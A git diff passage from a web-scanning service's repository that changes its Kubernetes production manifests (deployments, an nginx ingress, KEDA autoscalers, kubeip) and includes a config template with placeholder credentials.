LANDING_API_ROOT : "https://yourdomain.com" + LETSENCRYPT_HOST : "api.yourdomain.com" + VIRTUAL_HOST : "api.yourdomain.com" + VIRTUAL_PORT : "8000" + DJANGO_ALLOWED_HOSTS : "*" + # admin credentials + ADMIN_USER : "admin_user" + ADMIN_PASS : "f4k3P455w0rd" + ADMIN_EMAIL : "your@email.com" + # email credentials + EMAIL_HOST : "smtp.gmail.com" + EMAIL_PORT : "587" + EMAIL_USE_TLS : "True" + EMAIL_HOST_USER : "your@email.com" + EMAIL_HOST_PASSWORD : "your-email-password" + # database + DB_HOST : "" + DB_NAME : "k8s-pool" + DB_PASS : "" + DB_PORT : "25061" + DB_USER : "" + # paths + CHROMEDRIVER : "/usr/bin/chromedriver" + CHROME_BROWSER : "/usr/bin/chromium" + # stripe keys + STRIPE_PUBLIC_TEST : "pk_test_" + STRIPE_PRIVATE_TEST : "sk_test_" + STRIPE_PUBLIC_LIVE : "pk_live_" + STRIPE_PRIVATE_LIVE : "sk_live_" + STRIPE_ENV : "prod" + # google keys + GOOGLE_CRUX_KEY : "" + # OAuth keys + GOOGLE_OAUTH2_CLIENT_ID : "" + GOOGLE_OAUTH2_CLIENT_SECRET : "" + # twilio credentials + TWILIO_SID : "" + TWILIO_AUTH_TOKEN : "" + TWILIO_NUMBER : "+" + # sendgrid configs + SENDGRID_API_KEY : "" + DEFAULT_TEMPLATE : "" + DEFAULT_TEMPLATE_NO_BUTTON : "" + AUTOMATION_TEMPLATE : "" + # slack credentials + SLACK_APP_ID : "" + SLACK_CLIENT_ID : "" + SLACK_CLIENT_SECRET : "" + SLACK_SIGNING_SECRET : "" + SLACK_VERIFICATION_TOKEN : "" + SLACK_BOT_TOKEN : "" + # s3 remote storage credentials + AWS_ACCESS_KEY_ID : "" + AWS_SECRET_ACCESS_KEY : "" + AWS_STORAGE_BUCKET_NAME : "" + AWS_S3_REGION_NAME : "sfo3" + AWS_S3_ENDPOINT_URL : "https://sfo3.digitaloceanspaces.com" + AWS_S3_URL_PATH : "https://.sfo3.digitaloceanspaces.com" + AWS_LOCATION : "static" + AWS_DEFAULT_ACL : "public-read" diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml index c91eb55a..ba7beb4a 100644 --- a/k8s/prod/app-deployment.yaml +++ b/k8s/prod/app-deployment.yaml @@ -2,58 +2,56 @@ apiVersion: apps/v1 kind: Deployment metadata: name: app-deployment + labels: + deployment: app spec: - replicas: 1 + replicas: 2 selector: matchLabels: - app: app + app: app-deployment template: metadata: labels: - app: app + app: app-deployment spec: imagePullSecrets: - name: regcred containers: - - name: app - image: landonr/scanerr-server - imagePullPolicy: IfNotPresent + - name: scanerr-server + image: # scanerr/server:49709ea # + imagePullPolicy: Always ports: - containerPort: 8000 - command: - - "sh" - - "-c" - - > - python3 manage.py wait_for_db && - python3 manage.py makemigrations --no-input && - python3 manage.py migrate --no-input && - python3 manage.py collectstatic --no-input && - python3 manage.py create_admin && - python3 manage.py driver_s_test && - python3 manage.py driver_p_test && - gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000" + command: ["/entrypoint.sh", "app", "remote"] envFrom: - configMapRef: name: app-configs + env: + - name: THIS_POD_NAME + valueFrom: + fieldRef: + fieldPath: metadata.name resources: limits: + cpu: "2" + memory: "4Gi" + requests: cpu: "1" memory: "1Gi" - requests: - cpu: "500m" - memory: "500Mi" - --- apiVersion: v1 kind: Service metadata: name: app-service + labels: + service: app spec: + # type: NodePort + # externalTrafficPolicy: Cluster selector: - app: app + app: app-deployment ports: - - protocol: TCP - port: 8000 - targetPort: 8000 - type: NodePort + - name: http + port: 80 + targetPort: 8000 diff --git a/k8s/prod/app-ingress.yaml b/k8s/prod/app-ingress.yaml new file mode 100644 index 00000000..db99db32 --- /dev/null +++ b/k8s/prod/app-ingress.yaml @@ -0,0 +1,26 @@ +apiVersion: networking.k8s.io/v1 +kind: Ingress +metadata: + name: app-ingress + annotations: + kubernetes.io/ingress.class: nginx + ## ensure below section is commented out on first creation ## + # cert-manager.io/cluster-issuer: letsencrypt-nginx +spec: + ## ensure below section is comented out on first creation ## + # tls: + # - hosts: + # - api.scanerr.io + # secretName: letsencrypt-nginx + rules: + - host: api.scanerr.io + http: + paths: + - backend: + service: + name: app-service + port: + number: 80 + path: / + pathType: Prefix + ingressClassName: nginx \ No newline at end of file diff --git a/k8s/prod/app-loadbalancer.yaml b/k8s/prod/app-loadbalancer.yaml new file mode 100644 index 00000000..f2c139cd --- /dev/null +++ b/k8s/prod/app-loadbalancer.yaml @@ -0,0 +1,688 @@ + +apiVersion: v1 +kind: Namespace +metadata: + name: ingress-nginx + labels: + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + +--- +# Source: ingress-nginx/templates/controller-serviceaccount.yaml +apiVersion: v1 +kind: ServiceAccount +metadata: + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: controller + name: ingress-nginx + namespace: ingress-nginx +automountServiceAccountToken: true +--- +# Source: ingress-nginx/templates/controller-configmap.yaml +apiVersion: v1 +kind: ConfigMap +metadata: + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: controller + name: ingress-nginx-controller + namespace: ingress-nginx +data: + allow-snippet-annotations: 'true' + use-proxy-protocol: 'true' +--- +# Source: ingress-nginx/templates/clusterrole.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + name: ingress-nginx +rules: + - apiGroups: + - '' + resources: + - configmaps + - endpoints + - nodes + - pods + - secrets + - namespaces + verbs: + - list + - watch + - apiGroups: + - '' + resources: + - nodes + verbs: + - get + - apiGroups: + - '' + resources: + - services + verbs: + - get + - list + - watch + - apiGroups: + - networking.k8s.io + resources: + - ingresses + verbs: + - get + - list + - watch + - apiGroups: + - '' + resources: + - events + verbs: + - create + - patch + - apiGroups: + - networking.k8s.io + resources: + - ingresses/status + verbs: + - update + - apiGroups: + - networking.k8s.io + resources: + - ingressclasses + verbs: + - get + - list + - watch +--- +# Source: ingress-nginx/templates/clusterrolebinding.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + name: ingress-nginx +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: ingress-nginx +subjects: + - kind: ServiceAccount + name: ingress-nginx + namespace: ingress-nginx +--- +# Source: ingress-nginx/templates/controller-role.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: controller + name: ingress-nginx + namespace: ingress-nginx +rules: + - apiGroups: + - '' + resources: + - namespaces + verbs: + - get + - apiGroups: + - '' + resources: + - configmaps + - pods + - secrets + - endpoints + verbs: + - get + - list + - watch + - apiGroups: + - '' + resources: + - services + verbs: + - get + - list + - watch + - apiGroups: + - networking.k8s.io + resources: + - ingresses + verbs: + - get + - list + - watch + - apiGroups: + - networking.k8s.io + resources: + - ingresses/status + verbs: + - update + - apiGroups: + - networking.k8s.io + resources: + - ingressclasses + verbs: + - get + - list + - watch + - apiGroups: + - '' + resources: + - configmaps + resourceNames: + - ingress-controller-leader + verbs: + - get + - update + - apiGroups: + - '' + resources: + - configmaps + verbs: + - create + - apiGroups: + - '' + resources: + - events + verbs: + - create + - patch +--- +# Source: ingress-nginx/templates/controller-rolebinding.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: controller + name: ingress-nginx + namespace: ingress-nginx +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: Role + name: ingress-nginx +subjects: + - kind: ServiceAccount + name: ingress-nginx + namespace: ingress-nginx +--- +# Source: ingress-nginx/templates/controller-service-webhook.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: controller + name: ingress-nginx-controller-admission + namespace: ingress-nginx +spec: + type: ClusterIP + ports: + - name: https-webhook + port: 443 + targetPort: webhook + appProtocol: https + selector: + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/component: controller +--- +# Source: ingress-nginx/templates/controller-service.yaml +apiVersion: v1 +kind: Service +metadata: + annotations: + service.beta.kubernetes.io/do-loadbalancer-enable-proxy-protocol: 'true' + service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io" + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: controller + name: ingress-nginx-controller + namespace: ingress-nginx +spec: + type: LoadBalancer + externalTrafficPolicy: Cluster + ipFamilyPolicy: SingleStack + ipFamilies: + - IPv4 + ports: + - name: http + port: 80 + protocol: TCP + targetPort: http + appProtocol: http + - name: https + port: 443 + protocol: TCP + targetPort: https + appProtocol: https + selector: + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/component: controller +--- +# Source: ingress-nginx/templates/controller-deployment.yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: controller + name: ingress-nginx-controller + namespace: ingress-nginx +spec: + selector: + matchLabels: + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/component: controller + revisionHistoryLimit: 10 + minReadySeconds: 0 + template: + metadata: + labels: + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/component: controller + spec: + dnsPolicy: ClusterFirst + containers: + - name: controller + image: k8s.gcr.io/ingress-nginx/controller:v1.1.1@sha256:0bc88eb15f9e7f84e8e56c14fa5735aaa488b840983f87bd79b1054190e660de + imagePullPolicy: IfNotPresent + lifecycle: + preStop: + exec: + command: + - /wait-shutdown + args: + - /nginx-ingress-controller + - --publish-service=$(POD_NAMESPACE)/ingress-nginx-controller + - --election-id=ingress-controller-leader + - --controller-class=k8s.io/ingress-nginx + - --configmap=$(POD_NAMESPACE)/ingress-nginx-controller + - --validating-webhook=:8443 + - --validating-webhook-certificate=/usr/local/certificates/cert + - --validating-webhook-key=/usr/local/certificates/key + securityContext: + capabilities: + drop: + - ALL + add: + - NET_BIND_SERVICE + runAsUser: 101 + allowPrivilegeEscalation: true + env: + - name: POD_NAME + valueFrom: + fieldRef: + fieldPath: metadata.name + - name: POD_NAMESPACE + valueFrom: + fieldRef: + fieldPath: metadata.namespace + - name: LD_PRELOAD + value: /usr/local/lib/libmimalloc.so + livenessProbe: + failureThreshold: 5 + httpGet: + path: /healthz + port: 10254 + scheme: HTTP + initialDelaySeconds: 10 + periodSeconds: 10 + successThreshold: 1 + timeoutSeconds: 1 + readinessProbe: + failureThreshold: 3 + httpGet: + path: /healthz + port: 10254 + scheme: HTTP + initialDelaySeconds: 10 + periodSeconds: 10 + successThreshold: 1 + timeoutSeconds: 1 + ports: + - name: http + containerPort: 80 + protocol: TCP + - name: https + containerPort: 443 + protocol: TCP + - name: webhook + containerPort: 8443 + protocol: TCP + volumeMounts: + - name: webhook-cert + mountPath: /usr/local/certificates/ + readOnly: true + resources: + requests: + cpu: 100m + memory: 90Mi + nodeSelector: + kubernetes.io/os: linux + serviceAccountName: ingress-nginx + terminationGracePeriodSeconds: 300 + volumes: + - name: webhook-cert + secret: + secretName: ingress-nginx-admission +--- +# Source: ingress-nginx/templates/controller-ingressclass.yaml +# We don't support namespaced ingressClass yet +# So a ClusterRole and a ClusterRoleBinding is required +apiVersion: networking.k8s.io/v1 +kind: IngressClass +metadata: + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: controller + name: nginx + namespace: ingress-nginx +spec: + controller: k8s.io/ingress-nginx +--- +# Source: ingress-nginx/templates/admission-webhooks/validating-webhook.yaml +# before changing this value, check the required kubernetes version +# https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#prerequisites +apiVersion: admissionregistration.k8s.io/v1 +kind: ValidatingWebhookConfiguration +metadata: + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: admission-webhook + name: ingress-nginx-admission +webhooks: + - name: validate.nginx.ingress.kubernetes.io + matchPolicy: Equivalent + rules: + - apiGroups: + - networking.k8s.io + apiVersions: + - v1 + operations: + - CREATE + - UPDATE + resources: + - ingresses + failurePolicy: Fail + sideEffects: None + admissionReviewVersions: + - v1 + clientConfig: + service: + namespace: ingress-nginx + name: ingress-nginx-controller-admission + path: /networking/v1/ingresses + timeoutSeconds: 29 +--- +# Source: ingress-nginx/templates/admission-webhooks/job-patch/serviceaccount.yaml +apiVersion: v1 +kind: ServiceAccount +metadata: + name: ingress-nginx-admission + namespace: ingress-nginx + annotations: + helm.sh/hook: pre-install,pre-upgrade,post-install,post-upgrade + helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: admission-webhook +--- +# Source: ingress-nginx/templates/admission-webhooks/job-patch/clusterrole.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: ingress-nginx-admission + annotations: + helm.sh/hook: pre-install,pre-upgrade,post-install,post-upgrade + helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: admission-webhook +rules: + - apiGroups: + - admissionregistration.k8s.io + resources: + - validatingwebhookconfigurations + verbs: + - get + - update +--- +# Source: ingress-nginx/templates/admission-webhooks/job-patch/clusterrolebinding.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: ingress-nginx-admission + annotations: + helm.sh/hook: pre-install,pre-upgrade,post-install,post-upgrade + helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: admission-webhook +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: ingress-nginx-admission +subjects: + - kind: ServiceAccount + name: ingress-nginx-admission + namespace: ingress-nginx +--- +# Source: ingress-nginx/templates/admission-webhooks/job-patch/role.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + name: ingress-nginx-admission + namespace: ingress-nginx + annotations: + helm.sh/hook: pre-install,pre-upgrade,post-install,post-upgrade + helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: admission-webhook +rules: + - apiGroups: + - '' + resources: + - secrets + verbs: + - get + - create +--- +# Source: ingress-nginx/templates/admission-webhooks/job-patch/rolebinding.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: ingress-nginx-admission + namespace: ingress-nginx + annotations: + helm.sh/hook: pre-install,pre-upgrade,post-install,post-upgrade + helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: admission-webhook +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: Role + name: ingress-nginx-admission +subjects: + - kind: ServiceAccount + name: ingress-nginx-admission + namespace: ingress-nginx +--- +# Source: ingress-nginx/templates/admission-webhooks/job-patch/job-createSecret.yaml +apiVersion: batch/v1 +kind: Job +metadata: + name: ingress-nginx-admission-create + namespace: ingress-nginx + annotations: + helm.sh/hook: pre-install,pre-upgrade + helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: admission-webhook +spec: + template: + metadata: + name: ingress-nginx-admission-create + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: admission-webhook + spec: + containers: + - name: create + image: k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1@sha256:64d8c73dca984af206adf9d6d7e46aa550362b1d7a01f3a0a91b20cc67868660 + imagePullPolicy: IfNotPresent + args: + - create + - --host=ingress-nginx-controller-admission,ingress-nginx-controller-admission.$(POD_NAMESPACE).svc + - --namespace=$(POD_NAMESPACE) + - --secret-name=ingress-nginx-admission + env: + - name: POD_NAMESPACE + valueFrom: + fieldRef: + fieldPath: metadata.namespace + securityContext: + allowPrivilegeEscalation: false + restartPolicy: OnFailure + serviceAccountName: ingress-nginx-admission + nodeSelector: + kubernetes.io/os: linux + securityContext: + runAsNonRoot: true + runAsUser: 2000 +--- +# Source: ingress-nginx/templates/admission-webhooks/job-patch/job-patchWebhook.yaml +apiVersion: batch/v1 +kind: Job +metadata: + name: ingress-nginx-admission-patch + namespace: ingress-nginx + annotations: + helm.sh/hook: post-install,post-upgrade + helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: admission-webhook +spec: + template: + metadata: + name: ingress-nginx-admission-patch + labels: + helm.sh/chart: ingress-nginx-4.0.15 + app.kubernetes.io/name: ingress-nginx + app.kubernetes.io/instance: ingress-nginx + app.kubernetes.io/version: 1.1.1 + app.kubernetes.io/managed-by: Helm + app.kubernetes.io/component: admission-webhook + spec: + containers: + - name: patch + image: k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1@sha256:64d8c73dca984af206adf9d6d7e46aa550362b1d7a01f3a0a91b20cc67868660 + imagePullPolicy: IfNotPresent + args: + - patch + - --webhook-name=ingress-nginx-admission + - --namespace=$(POD_NAMESPACE) + - --patch-mutating=false + - --secret-name=ingress-nginx-admission + - --patch-failure-policy=Fail + env: + - name: POD_NAMESPACE + valueFrom: + fieldRef: + fieldPath: metadata.namespace + securityContext: + allowPrivilegeEscalation: false + restartPolicy: OnFailure + serviceAccountName: ingress-nginx-admission + nodeSelector: + kubernetes.io/os: linux + securityContext: + runAsNonRoot: true + runAsUser: 2000 \ No newline at end of file diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml new file mode 100644 index 00000000..3113178d --- /dev/null +++ b/k8s/prod/beat-deployment.yaml @@ -0,0 +1,36 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: beat-deployment + labels: + deployment: beat +spec: + replicas: 1 + selector: + matchLabels: + app: beat-deployment + strategy: {} + template: + metadata: + labels: + app: beat-deployment + spec: + imagePullSecrets: + - name: regcred + containers: + - name: beat + image: # scanerr/server:49709ea # + imagePullPolicy: Always + command: ["/entrypoint.sh", "beat"] + envFrom: + - configMapRef: + name: app-configs + resources: + limits: + cpu: ".5" + memory: "1Gi" + requests: + cpu: ".5" + memory: "1Gi" + + diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml new file mode 100644 index 00000000..594e6768 --- /dev/null +++ b/k8s/prod/celery-autoscaler.yaml @@ -0,0 +1,17 @@ +apiVersion: keda.sh/v1alpha1 +kind: ScaledObject +metadata: + name: celery-scaler +spec: + scaleTargetRef: + name: celery-deployment + cooldownPeriod: 300 + pollingInterval: 15 + minReplicaCount: 2 + maxReplicaCount: 15 + triggers: + - type: metrics-api + metadata: + targetValue: "5" + url: "https://api.scanerr.io/v1/ops/metrics/celery" + valueLocation: "working_len" \ No newline at end of file diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml index 64ed79e9..808fbfcc 100644 --- a/k8s/prod/celery-deployment.yaml +++ b/k8s/prod/celery-deployment.yaml @@ -2,31 +2,47 @@ apiVersion: apps/v1 kind: Deployment metadata: name: celery-deployment + labels: + deployment: celery spec: - replicas: 1 + replicas: 2 + strategy: + type: RollingUpdate + rollingUpdate: + maxSurge: 50% + maxUnavailable: 50% selector: matchLabels: - app: celery + app: celery-deployment template: metadata: labels: - app: celery + app: celery-deployment spec: + terminationGracePeriodSeconds: 300 imagePullSecrets: - name: regcred containers: - name: celery - image: landonr/scanerr-server - imagePullPolicy: IfNotPresent - command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"] + image: # scanerr/server:99e2252 # + imagePullPolicy: Always + command: ["/entrypoint.sh", "celery"] envFrom: - configMapRef: name: app-configs + env: + - name: THIS_POD_NAME + valueFrom: + fieldRef: + fieldPath: metadata.name resources: limits: cpu: "1" - memory: "1Gi" + memory: "3.5Gi" requests: - cpu: "500m" - memory: "500Mi" - + cpu: "1" + memory: "2Gi" + lifecycle: + preStop: + exec: + command: ["python3", "manage.py", "terminate_worker"] \ No newline at end of file diff --git a/k8s/prod/kubeip-daemon.yaml b/k8s/prod/kubeip-daemon.yaml new file mode 100644 index 00000000..c978f8b6 --- /dev/null +++ b/k8s/prod/kubeip-daemon.yaml @@ -0,0 +1,35 @@ +apiVersion: apps/v1 +kind: DaemonSet +metadata: + name: kubeip +spec: + selector: + matchLabels: + app: kubeip + template: + metadata: + labels: + app: kubeip + spec: + serviceAccountName: kubeip-service-account + terminationGracePeriodSeconds: 30 + priorityClassName: system-node-critical + nodeSelector: + kubeip.com/public: "true" + containers: + - name: kubeip + image: doitintl/kubeip-agent + resources: + requests: + cpu: 100m + env: + - name: NODE_NAME + valueFrom: + fieldRef: + fieldPath: spec.nodeName + # - name: FILTER + # value: PUT_PLATFORM_SPECIFIC_FILTER_HERE + - name: LOG_LEVEL + value: debug + - name: LOG_JSON + value: "true" \ No newline at end of file diff --git a/k8s/prod/kubeip-service.yaml b/k8s/prod/kubeip-service.yaml new file mode 100644 index 00000000..590b9312 --- /dev/null +++ b/k8s/prod/kubeip-service.yaml @@ -0,0 +1,32 @@ +apiVersion: v1 +kind: ServiceAccount +metadata: + name: kubeip-service-account + namespace: kube-system +--- + +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: kubeip-cluster-role +rules: + - apiGroups: [ "" ] + resources: [ "nodes" ] + verbs: [ "get" ] + - apiGroups: [ "coordination.k8s.io" ] + resources: [ "leases" ] + verbs: [ "create", "get", "delete" ] + +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: kubeip-cluster-role-binding +subjects: + - kind: ServiceAccount + name: kubeip-service-account + namespace: kube-system +roleRef: + kind: ClusterRole + name: kubeip-cluster-role + apiGroup: rbac.authorization.k8s.io \ No newline at end of file diff --git a/k8s/prod/old_configs/app-pvc.yaml b/k8s/prod/old_configs/app-pvc.yaml new file mode 100644 index 00000000..baa2b84c --- /dev/null +++ b/k8s/prod/old_configs/app-pvc.yaml @@ -0,0 +1,10 @@ +apiVersion: v1 +kind: PersistentVolumeClaim +metadata: + name: app-pvc +spec: + accessModes: + - ReadWriteOnce + resources: + requests: + storage: 2Gi \ No newline at end of file diff --git a/k8s/prod/old_configs/celery-autoscaler.yaml b/k8s/prod/old_configs/celery-autoscaler.yaml new file mode 100644 index 00000000..a7e31e77 --- /dev/null +++ b/k8s/prod/old_configs/celery-autoscaler.yaml @@ -0,0 +1,43 @@ +# apiVersion: keda.sh/v1alpha1 +# kind: ScaledObject +# metadata: +# name: celery-scaler +# spec: +# scaleTargetRef: +# name: celery-deployment +# pollingInterval: 3 +# minReplicaCount: 2 +# maxReplicaCount: 15 +# triggers: +# - type: redis +# metadata: +# address: redis.default.svc.cluster.local:6379 # Format must be host:port redis:6379 +# listName: celery # Required +# listLength: "5" # Required +# activationListLength: "5" # optional +# enableTLS: "false" # optional +# unsafeSsl: "false" # optional +# databaseIndex: "0" # optional + + + + +# apiVersion: keda.sh/v1alpha1 +# kind: ScaledObject +# metadata: +# name: celery-scaler +# spec: +# scaleTargetRef: +# name: celery-deployment +# cooldownPeriod: 4000 +# pollingInterval: 3 +# minReplicaCount: 2 +# maxReplicaCount: 15 +# triggers: +# - type: rabbitmq +# metadata: +# host: amqp://rabbitmq.default.svc.cluster.local:5672 # rabbitmq.default.svc.cluster.local:5672 Optional. If not specified, it must be done by using TriggerAuthentication. +# mode: QueueLength # QueueLength or MessageRate +# value: "5" # message backlog or publish/sec. target per instance +# activationValue: "5" # Optional. Activation threshold +# queueName: celery \ No newline at end of file diff --git a/k8s/prod/old_configs/rabbitmq-deployment.yaml b/k8s/prod/old_configs/rabbitmq-deployment.yaml new file mode 100644 index 00000000..18ada4c6 --- /dev/null +++ b/k8s/prod/old_configs/rabbitmq-deployment.yaml @@ -0,0 +1,49 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + labels: + service: rabbitmq + name: rabbitmq +spec: + replicas: 1 + selector: + matchLabels: + service: rabbitmq + strategy: {} + template: + metadata: + labels: + service: rabbitmq + spec: + restartPolicy: Always + containers: + - image: rabbitmq:alpine + name: rabbitmq + ports: + - containerPort: 5672 + resources: + limits: + cpu: "250m" + memory: "250Mi" + requests: + cpu: "100m" + memory: "100Mi" +status: {} + + + +--- + +apiVersion: v1 +kind: Service +metadata: + labels: + service: rabbitmq + name: rabbitmq +spec: + ports: + - name: "5672" + port: 5672 + targetPort: 5672 + selector: + service: rabbitmq diff --git a/k8s/prod/ylt-autoscaler.yaml b/k8s/prod/ylt-autoscaler.yaml new file mode 100644 index 00000000..7f9203d0 --- /dev/null +++ b/k8s/prod/ylt-autoscaler.yaml @@ -0,0 +1,17 @@ +apiVersion: keda.sh/v1alpha1 +kind: ScaledObject +metadata: + name: ylt-scaler +spec: + scaleTargetRef: + name: ylt-deployment + cooldownPeriod: 300 + pollingInterval: 15 + minReplicaCount: 2 + maxReplicaCount: 7 + triggers: + - type: metrics-api + metadata: + targetValue: "10" + url: "https://api.scanerr.io/v1/ops/metrics/celery" + valueLocation: "working_len" \ No newline at end of file diff --git a/k8s/prod/ylt-deployment.yaml b/k8s/prod/ylt-deployment.yaml new file mode 100644 index 00000000..f41212e1 --- /dev/null +++ b/k8s/prod/ylt-deployment.yaml @@ -0,0 +1,51 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: ylt-deployment + labels: + deployment: yellowlab +spec: + replicas: 2 + selector: + matchLabels: + app: ylt-deployment + template: + metadata: + labels: + app: ylt-deployment + spec: + terminationGracePeriodSeconds: 30 + containers: + - name: yellowlab + image: scanerr/ylt + env: + - name: POD_IP + valueFrom: + fieldRef: + fieldPath: status.podIP + ports: + - containerPort: 8383 + securityContext: + privileged: true + resources: + limits: + cpu: "1" + memory: "4Gi" + requests: + cpu: ".5" + memory: "1Gi" +--- + +apiVersion: v1 +kind: Service +metadata: + name: ylt-service + labels: + service: ylt +spec: + selector: + app: ylt-deployment + ports: + - name: http + port: 80 + targetPort: 8383 \ No newline at end of file diff --git a/notes/Deployment.md b/notes/Deployment.md new file mode 100644 index 